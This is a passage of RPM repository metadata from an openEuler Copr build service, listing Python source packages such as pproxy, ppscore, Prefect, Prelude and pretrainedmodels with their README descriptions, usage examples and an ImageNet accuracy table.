pkgId: 74d9b2dbf4c5622858c5445436627d3750eb43e015888591cdb8b8fcc1744d0b
name: python-pproxy
arch: src
version: 2.7.8
epoch: 0
release: 1
summary: Proxy server that can tunnel among remote servers by regex rules.
url: https://github.com/qwj/python-proxy
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9f2b9300-4383-4681-989e-2b6ddabc1409
location_href: 00013465-python-pproxy/python-pproxy-2.7.8-1.src.rpm
checksum_type: sha256
description:
  |made-with-python| |PyPI-version| |Hit-Count| |Downloads| |Downloads-month| |Downloads-week|
  HTTP/HTTP2/HTTP3/Socks4/Socks5/Shadowsocks/SSH/Redirect/Pf/QUIC TCP/UDP asynchronous tunnel proxy implemented in Python3 asyncio.


pkgId: 181c794f8714becd9c15b52a1b9c1c3557e0951fc3b28c09cbe9998d567342c3
name: python-ppscore
arch: src
version: 1.3.0
epoch: 0
release: 1
summary: Python implementation of the Predictive Power Score (PPS)
url: https://github.com/8080labs/ppscore/
rpm_license: mit
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8f5eeb71-2b2b-48e7-bd92-435b50425449
location_href: 00012684-python-ppscore/python-ppscore-1.3.0-1.src.rpm
checksum_type: sha256
description:
  __If you don't know yet what the Predictive Power Score is, please read the following blog post:__

  __[RIP correlation. Introducing the Predictive Power Score](https://towardsdatascience.com/rip-correlation-introducing-the-predictive-power-score-3d90808b9598?sk=7ac6697576053896fb27d3356dd6db32)__

  The PPS is an asymmetric, data-type-agnostic score that can detect linear or non-linear relationships between two columns. The score ranges from 0 (no predictive power) to 1 (perfect predictive power). It can be used as an alternative to the correlation (matrix).


  - [Installation](#installation)
  - [Getting started](#getting-started)
  - [API](#api)
  - [Calculation of the PPS](#calculation-of-the-pps)
  - [About](#about)




  > You need Python 3.6 or above.

  From the terminal (or Anaconda prompt in Windows), enter:

  ```bash
  pip install -U ppscore
  ```




  > The examples refer to the newest version (1.2.0) of ppscore. [See changes](https://github.com/8080labs/ppscore/blob/master/CHANGELOG.md)

  First, let's create some data:

  ```python
  import pandas as pd
  import numpy as np
  import ppscore as pps

  df = pd.DataFrame()
  df["x"] = np.random.uniform(-2, 2, 1_000_000)
  df["error"] = np.random.uniform(-0.5, 0.5, 1_000_000)
  df["y"] = df["x"] * df["x"] + df["error"]
  ```

  Based on the dataframe we can calculate the PPS of x predicting y:

  ```python
  pps.score(df, "x", "y")
  ```

  We can calculate the PPS of all the predictors in the dataframe against a target y:

  ```python
  pps.predictors(df, "y")
  ```

  Here is how we can calculate the PPS matrix between all columns:

  ```python
  pps.matrix(df)
  ```



  For the visualization of the results you can use seaborn or your favorite viz library.

  __Plotting the PPS predictors:__

  ```python
  import seaborn as sns
  predictors_df = pps.predictors(df, y="y")
  sns.barplot(data=predictors_df, x="x", y="ppscore")
  ```

  __Plotting the PPS matrix:__

  (This needs some minor preprocessing because seaborn.heatmap unfortunately does not accept tidy data)

  ```python
  import seaborn as sns
  matrix_df = pps.matrix(df)[['x', 'y', 'ppscore']].pivot(columns='x', index='y', values='ppscore')
  sns.heatmap(matrix_df, vmin=0, vmax=1, cmap="Blues", linewidths=0.5, annot=True)
  ```






  Calculate the Predictive Power Score (PPS) for "x predicts y"

  - The score always ranges from 0 to 1 and is data-type agnostic.

  - A score of 0 means that the column x cannot predict the column y better than a naive baseline model.

  - A score of 1 means that the column x can perfectly predict the column y given the model.

  - A score between 0 and 1 states the ratio of how much potential predictive power the model achieved compared to the baseline model.




  - __df__ : pandas.DataFrame
      - Dataframe that contains the columns x and y
  - __x__ : str
      - Name of the column x which acts as the feature
  - __y__ : str
      - Name of the column y which acts as the target
  - __sample__ : int or `None`
      - Number of rows for sampling. The sampling decreases the calculation time of the PPS.
      If `None` there will be no sampling.
  - __cross_validation__ : int
      - Number of iterations during cross-validation. This has the following implications:
      For example, if the number is 4, then it is possible to detect patterns when there are at least 4 times the same observation. If the limit is increased, the required minimum observations also increase. This is important, because this is the limit when sklearn will throw an error and the PPS cannot be calculated
  - __random_seed__ : int or `None`
      - Random seed for the parts of the calculation that require random numbers, e.g. shuffling or sampling.
      If the value is set, the results will be reproducible. If the value is `None` a new random number is drawn at the start of each calculation.
  - __invalid_score__ : any
      - The score that is returned when a calculation is not valid, e.g. because the data type was not supported.
  - __catch_errors__ : bool
      - If `True` all errors will be catched and reported as `unknown_error` which ensures convenience. If `False` errors will be raised. This is helpful for inspecting and debugging errors.




  - __Dict__:
      - A dict that contains multiple fields about the resulting PPS.
      The dict enables introspection into the calculations that have been performed under the hood




  Calculate the Predictive Power Score (PPS) for all columns in the dataframe against a target (y) column


  - __df__ : pandas.DataFrame
      - The dataframe that contains the data
  - __y__ : str
      - Name of the column y which acts as the target
  - __output__ : str - potential values: "df", "list"
      - Control the type of the output. Either return a df or a list with all the PPS score dicts
  - __sorted__ : bool
      - Whether or not to sort the output dataframe/list by the ppscore
  - __kwargs__ :
      - Other key-word arguments that shall be forwarded to the pps.score method, e.g. __sample__, __cross_validation__, __random_seed__, __invalid_score__, __catch_errors__



  - __pandas.DataFrame__ or list of PPS dicts:
      - Either returns a df or a list of all the PPS dicts. This can be influenced by the output argument




  Calculate the Predictive Power Score (PPS) matrix for all columns in the dataframe



  - __df__ : pandas.DataFrame
      - The dataframe that contains the data
  - __output__ : str - potential values: "df", "list"
      - Control the type of the output. Either return a df or a list with all the PPS score dicts
  - __sorted__ : bool
      - Whether or not to sort the output dataframe/list by the ppscore
  - __kwargs__ :
      - Other key-word arguments that shall be forwarded to the pps.score method, e.g. __sample__, __cross_validation__, __random_seed__, __invalid_score__, __catch_errors__



  - __pandas.DataFrame__ or list of PPS dicts:
      - Either returns a df or a list of all the PPS dicts. This can be influenced by the output argument




  > If you are uncertain about some details, feel free to jump into the code to have a look at the exact implementation

  There are multiple ways how you can calculate the PPS. The ppscore package provides a sample implementation that is based on the following calculations:

  - The score is calculated using only 1 feature trying to predict the target column. This means there are no interaction effects between the scores of various features. Note that this is in contrast to feature importance
  - The score is calculated on the test sets of a 4-fold cross-validation (number is adjustable via `cross_validation`). For classification, stratifiedKFold is used. For regression, normal KFold. Please note that __this sampling might not be valid for time series data sets__
  - All rows which have a missing value in the feature or the target column are dropped
  - In case that the dataset has more than 5,000 rows the score is only calculated on a random subset of 5,000 rows. You can adjust the number of rows or skip this sampling via `sample`. However, in most scenarios the results will be very similar
  - There is no grid search for optimal model parameters
  - The result might change between calculations because the calculation contains random elements, e.g. the sampling of the rows or the shuffling of the rows before cross-validation. If you want to make sure that your results are reproducible you can set the random seed (`random_seed`).
  - If the score cannot be calculated, the package will not raise an error but return an object where `is_valid_score` is `False`. The reported score will be `invalid_score`. We chose this behavior because we want to give you a quick overview where significant predictive power exists without you having to handle errors or edge cases. However, when you want to explicitly handle the errors, you can still do so.



  As a learning algorithm, we currently use a Decision Tree because the Decision Tree has the following properties:
  - can detect any non-linear bivariate relationship
  - good predictive power in a wide variety of use cases
  - low requirements for feature preprocessing
  - robust model which can handle outliers and does not easily overfit
  - can be used for classification and regression
  - can be calculated quicker than many other algorithms

  We differentiate the exact implementation based on the data type of the target column:
  - If the target column is numeric, we use the sklearn.DecisionTreeRegressor
  - If the target column is categoric, we use the sklearn.DecisionTreeClassifier

  > Please note that we prefer a general good performance on a wide variety of use cases over better performance in some narrow use cases. If you have a proposal for a better/different learning algorithm, please open an issue

  However, please note why we actively decided against the following algorithms:

  - Correlation or Linear Regression: cannot detect non-linear bivariate relationships without extensive preprocessing
  - GAMs: might have problems with very unsmooth functions
  - SVM: potentially bad performance if the wrong kernel is selected
  - Random Forest/Gradient Boosted Tree: slower than a single Decision Tree
  - Neural Networks and Deep Learning: slower calculation than a Decision Tree and also needs more feature preprocessing



  Even though the Decision Tree is a very flexible learning algorithm, we need to perform the following preprocessing steps if a column represents categoric values - that means it has the pandas dtype `object`, `category`, `string` or `boolean`.‌
  - If the target column is categoric, we use the `sklearn.LabelEncoder​`
  - If the feature column is categoric, we use the `sklearn.OneHotEncoder​`




  > This logic was updated in version 1.0.0.

  The choice of the case (`classification` or `regression`) has an influence on the final PPS and thus it is important that the correct case is chosen. The case is chosen based on the data types of the columns. That means, e.g. if you want to change the case from `regression` to `classification` that you have to change the data type from `float` to `string`.

  Here are the two main cases:
  - A __classification__ is chosen if the target has the dtype `object`, `category`, `string` or `boolean`
  - A __regression__ is chosen if the target has the dtype `float` or `int`




  Each case uses a different evaluation score for calculating the final predictive power score (PPS).



  In case of an regression, the ppscore uses the mean absolute error (MAE) as the underlying evaluation metric (MAE_model). The best possible score of the MAE is 0 and higher is worse. As a baseline score, we calculate the MAE of a naive model (MAE_naive) that always predicts the median of the target column. The PPS is the result of the following normalization (and never smaller than 0):
  > PPS = 1 - (MAE_model / MAE_naive)



  If the task is a classification, we compute the weighted F1 score (wF1) as the underlying evaluation metric (F1_model). The F1 score can be interpreted as a weighted average of the precision and recall, where an F1 score reaches its best value at 1 and worst score at 0. The relative contribution of precision and recall to the F1 score are equal. The weighted F1 takes into account the precision and recall of all classes weighted by their support as described [here](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html). As a baseline score (F1_naive), we calculate the weighted F1 score for a model that always predicts the most common class of the target column (F1_most_common) and a model that predicts random values (F1_random). F1_naive is set to the maximum of F1_most_common and F1_random. The PPS is the result of the following normalization (and never smaller than 0):
  > PPS = (F1_model - F1_naive) / (1 - F1_naive)



  There are various cases in which the PPS can be defined without fitting a model to save computation time or in which the PPS cannot be calculated at all. Those cases are described below.


  In the following cases, the PPS is defined but we can save ourselves the computation time:
  - __feature_is_id__ means that the feature column is categoric (see above for __classification__) and that all categories appear only once. Such a feature can never predict a target during cross-validation and thus the PPS is 0.
  - __target_is_id__ means that the target column is categoric (see above for __classification__) and that all categories appear only once. Thus, the PPS is 0 because an ID column cannot be predicted by any other column as part of a cross-validation. There still might be a 1 to 1 relationship but this is not detectable by the current implementation of the PPS.
  - __target_is_constant__ means that the target column only has a single value and thus the PPS is 0 because any column and baseline can perfectly predict a column that only has a single value. Therefore, the feature does not add any predictive power and we want to communicate that.
  - __predict_itself__ means that the feature and target columns are the same and thus the PPS is 1 because a column can always perfectly predict its own value. Also, this leads to the typical diagonal of 1 that we are used to from the correlation matrix.


  In the following cases, the PPS is not defined and the score is set to `invalid_score`:
  - __target_is_datetime__ means that the target column has a datetime data type which is not supported. A possible solution might be to convert the target column to a string column.
  - __target_data_type_not_supported__ means that the target column has a data type which is not supported. A possible solution might be to convert the target column to another data type.
  - __empty_dataframe_after_dropping_na__ occurs when there are no valid rows left after rows with missing values have been dropped. A possible solution might be to replace the missing values with valid values.
  - Last but not least, __unknown_error__ occurs for all other errors that might raise an exception. This case is only reported when `catch_errors` is `True`. If you want to inspect or debug the underlying error, please set `catch_errors` to `False`.


  [![DOI](https://zenodo.org/badge/256518683.svg)](https://zenodo.org/badge/latestdoi/256518683)


  ppscore is developed by [8080 Labs](https://8080labs.com) - we create tools for Python Data Scientists. If you like `ppscore` you might want to check out our other project [bamboolib - a GUI for pandas DataFrames](https://bamboolib.com)


pkgId: cc923f473e895135c99fb8bfb80abcc2e005c35cc96a3e0098bbd40827c00e9b
name: python-praw
arch: src
version: 7.7.0
epoch: 0
release: 1
url: https://pypi.org/project/praw/
rpm_license: Simplified BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8f91c0c6-aff0-48b3-a56a-f5d6a64d3c80
location_href: 00004590-python-praw/python-praw-7.7.0-1.src.rpm
checksum_type: sha256
summary:
  PRAW, an acronym for "Python Reddit API Wrapper", is a python package that allows for simple access to  Reddit's API.

description:
  PRAW, an acronym for "Python Reddit API Wrapper", is a Python package that allows for
  simple access to Reddit's API. PRAW aims to be easy to use and internally follows all of
  `Reddit's API rules <https://github.com/reddit/reddit/wiki/API>`_. With PRAW there's no
  need to introduce ``sleep`` calls in your code. Give your client an appropriate user
  agent and you're set.


pkgId: 26b9d068f0b34cdece7985b0b9bfd65b2cb40a4244ab68cb6a9f3cf0b81fd946
name: python-precis-i18n
arch: src
version: 1.0.5
epoch: 0
release: 1
summary: PRECIS-i18n: Internationalized Usernames and Passwords
url: https://github.com/byllyfish/precis_i18n
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2bf2a6dd-31c7-4275-b2d5-f9ee9ecfafb5
location_href: 00004592-python-precis_i18n/python-precis-i18n-1.0.5-1.src.rpm
checksum_type: sha256
description:
  |MIT licensed| |Build Status| |codecov.io|
  If you want your application to accept Unicode user names and passwords,
  you must be careful in how you validate and compare them. The PRECIS
  framework makes internationalized user names and passwords safer for use
  by applications. PRECIS profiles transform Unicode strings into a
  canonical form, suitable for comparison.
  This module implements the PRECIS Framework as described in:
  -  PRECIS Framework: Preparation, Enforcement, and Comparison of
     Internationalized Strings in Application Protocols (`RFC
     8264 <https://tools.ietf.org/html/rfc8264>`__)
  -  Preparation, Enforcement, and Comparison of Internationalized Strings
     Representing Usernames and Passwords (`RFC
     8265 <https://tools.ietf.org/html/rfc8265>`__)
  -  Preparation, Enforcement, and Comparison of Internationalized Strings
     Representing Nicknames (`RFC
     8266 <https://tools.ietf.org/html/rfc8266>`__)
  Requires Python 3.3 or later.


pkgId: 65fdf5f449e1a51015c60cd18b2c1fb2cc33e4b3a3b5816167f9ed68c264993c
name: python-prefect
arch: src
version: 2.10.2
epoch: 0
release: 1
summary: Workflow orchestration and management.
url: https://www.prefect.io
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-dd08aea9-eab5-4b3f-ad54-190af6693b03
location_href: 00010818-python-prefect/python-prefect-2.10.2-1.src.rpm
checksum_type: sha256
description:
  <p align="center"><img src="https://images.ctfassets.net/gm98wzqotmnx/6rIpC9ZCAewsRGLwOw5BRe/bb17e1ef62f60d1ec32c1ae69487704c/prefect-2-logo-dark.png" width=1000></p>

  <p align="center">
      <a href="https://pypi.python.org/pypi/prefect/" alt="PyPI version">
          <img alt="PyPI" src="https://img.shields.io/pypi/v/prefect?color=0052FF&labelColor=090422"></a>
      <a href="https://github.com/prefecthq/prefect/" alt="Stars">
          <img src="https://img.shields.io/github/stars/prefecthq/prefect?color=0052FF&labelColor=090422" /></a>
      <a href="https://pepy.tech/badge/prefect/" alt="Downloads">
          <img src="https://img.shields.io/pypi/dm/prefect?color=0052FF&labelColor=090422" /></a>
      <a href="https://github.com/prefecthq/prefect/pulse" alt="Activity">
          <img src="https://img.shields.io/github/commit-activity/m/prefecthq/prefect?color=0052FF&labelColor=090422" /></a>
      <br>
      <a href="https://prefect-community.slack.com" alt="Slack">
          <img src="https://img.shields.io/badge/slack-join_community-red.svg?color=0052FF&labelColor=090422&logo=slack" /></a>
      <a href="https://discourse.prefect.io/" alt="Discourse">
          <img src="https://img.shields.io/badge/discourse-browse_forum-red.svg?color=0052FF&labelColor=090422&logo=discourse" /></a>
      <a href="https://www.youtube.com/c/PrefectIO/" alt="YouTube">
          <img src="https://img.shields.io/badge/youtube-watch_videos-red.svg?color=0052FF&labelColor=090422&logo=youtube" /></a>
  </p>



  Prefect is an orchestrator for data-intensive workflows. It's the simplest way to transform any Python function into a unit of work that can be observed and orchestrated. With Prefect, you can build resilient, dynamic workflows that react to the world around them and recover from unexpected changes. With just a few decorators, Prefect supercharges your code with features like automatic retries, distributed execution, scheduling, caching, and much more. Every activity is tracked and can be monitored with the Prefect server or Prefect Cloud dashboard.

  ```python
  from prefect import flow, task
  from typing import List
  import httpx


  @task(retries=3)
  def get_stars(repo: str):
      url = f"https://api.github.com/repos/{repo}"
      count = httpx.get(url).json()["stargazers_count"]
      print(f"{repo} has {count} stars!")


  @flow(name="GitHub Stars")
  def github_stars(repos: List[str]):
      for repo in repos:
          get_stars(repo)



  github_stars(["PrefectHQ/Prefect"])
  ```

  After running some flows, fire up the Prefect UI to see what happened:

  ```bash
  prefect server start
  ```

  ![](/docs/img/ui/flow-run-page.png)

  From here, you can continue to use Prefect interactively or [deploy your flows](https://docs.prefect.io/concepts/deployments) to remote envirnments, running on a scheduled or event-driven basis.



  Prefect requires Python 3.7 or later. To [install Prefect](https://docs.prefect.io/getting-started/installation/), run the following command in a shell or terminal session:

  ```bash
  pip install prefect
  ```

  Start by then exploring the [core concepts of Prefect workflows](https://docs.prefect.io/concepts/), then follow one of our [friendly tutorials](https://docs.prefect.io/tutorials/first-steps) to learn by example.



  Prefect is made possible by the fastest growing community of thousands of friendly data engineers. Join us in building a new kind of workflow system. The [Prefect Slack community](https://prefect.io/slack) is a fantastic place to learn more abou Prefect, ask questions, or get help with workflow design. The [Prefect Discourse](https://discourse.prefect.io/) is an community-driven knowledge base to find answers to your Prefect-related questions. All community forums, including code contributions, issue discussions, and slack messages are subject to our [Code of Conduct](https://discourse.prefect.io/faq).



  See our [documentation on contributing to Prefect](https://docs.prefect.io/contributing/overview/).

  Thanks for being part of the mission to build a new kind of workflow system and, of course, **happy engineering!**


pkgId: c01cd8391ee85694e184504369ef6036ecf4fc459697603bdaed672a73826ea8
name: python-prelude
arch: src
version: 5.1.1
epoch: 0
release: 1
summary: Python bindings for the Prelude Library
url: https://www.prelude-siem.org
rpm_license: GPL V2.1
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e213ae96-4d90-43cf-b726-4ffe5774935d
location_href: 00004593-python-prelude/python-prelude-5.1.1-1.src.rpm
checksum_type: sha256
description:
  Prelude is a Universal "Security Information & Event Management" (SIEM) system.
  Prelude collects, normalizes, sorts, aggregates, correlates and reports all
  security-related events independently of the product brand or license giving
  rise to such events; Prelude is "agentless".
  As well as being capable of recovering any type of log (system logs, syslog,
  flat files, etc.), Prelude benefits from a native support with a number of
  systems dedicated to enriching information even further (snort, samhain, ossec,
  auditd, etc.).
  Prelude standardizes all the notables or suspicious events to `IDMEF`_
  standard format (RFC 4765). With this format, events are enriched to facilitate
  automation and correlation processes but also to provide as much information to
  the operator (contextualization alerts) to allow it to respond quickly and
  effectively.
  Libprelude is a collection of generic functions providing communication between
  all Sensors, like IDS (Intrusion Detection System), and the Prelude Manager. It
  provides a convenient interface for sending and receiving IDMEF (Information
  and Event Message Exchange Format) alerts to Prelude Manager with transparent
  SSL, fail-over and replication support, asynchronous events and timer
  interfaces, an abstracted configuration API (hooking at the command-line, the
  configuration line, or wide configuration, available from the Manager), and a
  generic plugin API. It allows you to easily turn your favorite security program
  into a Prelude sensor.


pkgId: 012b3520877b20563493db3e92274cf27ff568041ec4ed4c9ea75868a03a935c
name: python-preprocess
arch: src
version: 2.0.0
epoch: 0
release: 1
summary: preprocess: a multi-language preprocessor
url: http://github.com/doconce/preprocess/
rpm_license: http://www.opensource.org/licenses/mit-license.php
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0ef5aae4-6f1a-450b-a11f-0e797c6e55be
location_href: 00004596-python-preprocess/python-preprocess-2.0.0-1.src.rpm
checksum_type: sha256
description:
  There are millions of templating systems out there (most of them
  developed for the web). This isn't one of those, though it does share
  some basics: a markup syntax for templates that are processed to give
  resultant text output.  The main difference with `preprocess.py` is
  that its syntax is hidden in comments (whatever the syntax for comments
  maybe in the target filetype) so that the file can still have valid
  syntax. A comparison with the C preprocessor is more apt.

  `preprocess.py` is targetted at build systems that deal with many
  types of files. Languages for which it works include: C++, Python,
  Perl, Tcl, XML, JavaScript, CSS, IDL, TeX, Fortran, PHP, Java, Shell
  scripts (Bash, CSH, etc.) and C#. Preprocess is usable both as a
  command line app and as a Python module.


pkgId: 00fe27ca73009f60d0981095e95dc9bec44caffd60f125421dc8d333ee25d5c9
name: python-presto-python-client
arch: src
version: 0.8.3
epoch: 0
release: 1
summary: Client for the Presto distributed SQL Engine
url: https://github.com/prestodb/presto-python-client
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-86a556ce-2746-4193-81f8-5756864c184f
location_href: 00009619-python-presto-python-client/python-presto-python-client-0.8.3-1.src.rpm
checksum_type: sha256
description:
  Client for Presto (https://prestodb.io), a distributed SQL engine for
  interactive and batch big data processing. Provides a low-level client and
  a DBAPI 2.0 implementation.


pkgId: e4ed79470e232bbbce8bf698ee60e92f150eb16d6c8736213b7ff8c9e3fce55d
name: python-pretrainedmodels
arch: src
version: 0.7.4
epoch: 0
release: 1
summary: Pretrained models for Pytorch
url: https://github.com/cadene/pretrained-models.pytorch
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4e20088d-5c60-45a0-abf5-03628a49a86b
location_href: 00012194-python-pretrainedmodels/python-pretrainedmodels-0.7.4-1.src.rpm
checksum_type: sha256
description:
  PNASNet-5-Large | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 82.858 | 96.182
  [PNASNet-5-Large](https://github.com/Cadene/pretrained-models.pytorch#pnasnet) | Our porting | 82.736 | 95.992
  NASNet-A-Large | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 82.693 | 96.163
  [NASNet-A-Large](https://github.com/Cadene/pretrained-models.pytorch#nasnet) | Our porting | 82.566 | 96.086
  SENet154 | [Caffe](https://github.com/hujie-frank/SENet) | 81.32 | 95.53
  [SENet154](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 81.304 | 95.498
  PolyNet | [Caffe](https://github.com/CUHK-MMLAB/polynet) | 81.29 | 95.75
  [PolyNet](https://github.com/Cadene/pretrained-models.pytorch#polynet) | Our porting | 81.002 | 95.624
  InceptionResNetV2 | [Tensorflow](https://github.com/tensorflow/models/tree/master/slim) | 80.4 | 95.3
  InceptionV4 | [Tensorflow](https://github.com/tensorflow/models/tree/master/slim) | 80.2 | 95.3
  [SE-ResNeXt101_32x4d](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 80.236 | 95.028
  SE-ResNeXt101_32x4d | [Caffe](https://github.com/hujie-frank/SENet) | 80.19 | 95.04
  [InceptionResNetV2](https://github.com/Cadene/pretrained-models.pytorch#inception) | Our porting | 80.170 | 95.234
  [InceptionV4](https://github.com/Cadene/pretrained-models.pytorch#inception) | Our porting | 80.062 | 94.926
  [DualPathNet107_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.746 | 94.684
  ResNeXt101_64x4d | [Torch7](https://github.com/facebookresearch/ResNeXt) | 79.6 | 94.7
  [DualPathNet131](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.432 | 94.574
  [DualPathNet92_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.400 | 94.620
  [DualPathNet98](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.224 | 94.488
  [SE-ResNeXt50_32x4d](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 79.076 | 94.434
  SE-ResNeXt50_32x4d | [Caffe](https://github.com/hujie-frank/SENet) | 79.03 | 94.46
  [Xception](https://github.com/Cadene/pretrained-models.pytorch#xception) | [Keras](https://github.com/keras-team/keras/blob/master/keras/applications/xception.py) | 79.000 | 94.500
  [ResNeXt101_64x4d](https://github.com/Cadene/pretrained-models.pytorch#resnext) | Our porting | 78.956 | 94.252
  [Xception](https://github.com/Cadene/pretrained-models.pytorch#xception) | Our porting | 78.888 | 94.292
  ResNeXt101_32x4d | [Torch7](https://github.com/facebookresearch/ResNeXt) | 78.8 | 94.4
  SE-ResNet152 | [Caffe](https://github.com/hujie-frank/SENet) | 78.66 | 94.46
  [SE-ResNet152](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 78.658 | 94.374
  ResNet152 | [Pytorch](https://github.com/pytorch/vision#models) | 78.428 | 94.110
  [SE-ResNet101](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 78.396 | 94.258
  SE-ResNet101 | [Caffe](https://github.com/hujie-frank/SENet) | 78.25 | 94.28
  [ResNeXt101_32x4d](https://github.com/Cadene/pretrained-models.pytorch#resnext) | Our porting | 78.188 | 93.886
  FBResNet152 | [Torch7](https://github.com/facebook/fb.resnet.torch) | 77.84 | 93.84
  SE-ResNet50 | [Caffe](https://github.com/hujie-frank/SENet) | 77.63 | 93.64
  [SE-ResNet50](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 77.636 | 93.752
  [DenseNet161](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.560 | 93.798
  [ResNet101](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.438 | 93.672
  [FBResNet152](https://github.com/Cadene/pretrained-models.pytorch#facebook-resnet) | Our porting | 77.386 | 93.594
  [InceptionV3](https://github.com/Cadene/pretrained-models.pytorch#inception) | [Pytorch](https://github.com/pytorch/vision#models) | 77.294 | 93.454
  [DenseNet201](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.152 | 93.548
  [DualPathNet68b_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 77.034 | 93.590
  [CaffeResnet101](https://github.com/Cadene/pretrained-models.pytorch#caffe-resnet) | [Caffe](https://github.com/KaimingHe/deep-residual-networks) | 76.400 | 92.900
  [CaffeResnet101](https://github.com/Cadene/pretrained-models.pytorch#caffe-resnet) | Our porting | 76.200 | 92.766
  [DenseNet169](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 76.026 | 92.992
  [ResNet50](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 76.002 | 92.980
  [DualPathNet68](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 75.868 | 92.774
  [DenseNet121](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 74.646 | 92.136
  [VGG19_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 74.266 | 92.066
  NASNet-A-Mobile | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 74.0 | 91.6
  [NASNet-A-Mobile](https://github.com/veronikayurchuk/pretrained-models.pytorch/blob/master/pretrainedmodels/models/nasnet_mobile.py) | Our porting | 74.080 | 91.740
  [ResNet34](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 73.554 | 91.456
  [BNInception](https://github.com/Cadene/pretrained-models.pytorch#bninception) | Our porting | 73.524 | 91.562
  [VGG16_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 73.518 | 91.608
  [VGG19](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 72.080 | 90.822
  [VGG16](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 71.636 | 90.354
  [VGG13_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 71.508 | 90.494
  [VGG11_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 70.452 | 89.818
  [ResNet18](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 70.142 | 89.274
  [VGG13](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 69.662 | 89.264
  [VGG11](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 68.970 | 88.746
  [SqueezeNet1_1](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 58.250 | 80.800
  [SqueezeNet1_0](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 58.108 | 80.428
  [Alexnet](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 56.432 | 79.194
  Notes:
  - the Pytorch version of ResNet152 is not a porting of the Torch7 but has been retrained by facebook.
  - For the PolyNet evaluation each image was resized to 378x378 without preserving the aspect ratio and then the central 331×331 patch from the resulting image was used.
  Beware, the accuracy reported here is not always representative of the transferable capacity of the network on other tasks and datasets. You must try them all! :P

  Please see [Compute imagenet validation metrics](https://github.com/Cadene/pretrained-models.pytorch#compute-imagenet-validation-metrics)



  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/research/slim)
  - `nasnetalarge(num_classes=1000, pretrained='imagenet')`
  - `nasnetalarge(num_classes=1001, pretrained='imagenet+background')`
  - `nasnetamobile(num_classes=1000, pretrained='imagenet')`

  Source: [Torch7 repo of FaceBook](https://github.com/facebook/fb.resnet.torch)
  There are a bit different from the ResNet* of torchvision. ResNet152 is currently the only one available.
  - `fbresnet152(num_classes=1000, pretrained='imagenet')`

  Source: [Caffe repo of KaimingHe](https://github.com/KaimingHe/deep-residual-networks)
  - `cafferesnet101(num_classes=1000, pretrained='imagenet')`

  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/slim) and [Pytorch/Vision repo](https://github.com/pytorch/vision/tree/master/torchvision) for `inceptionv3`
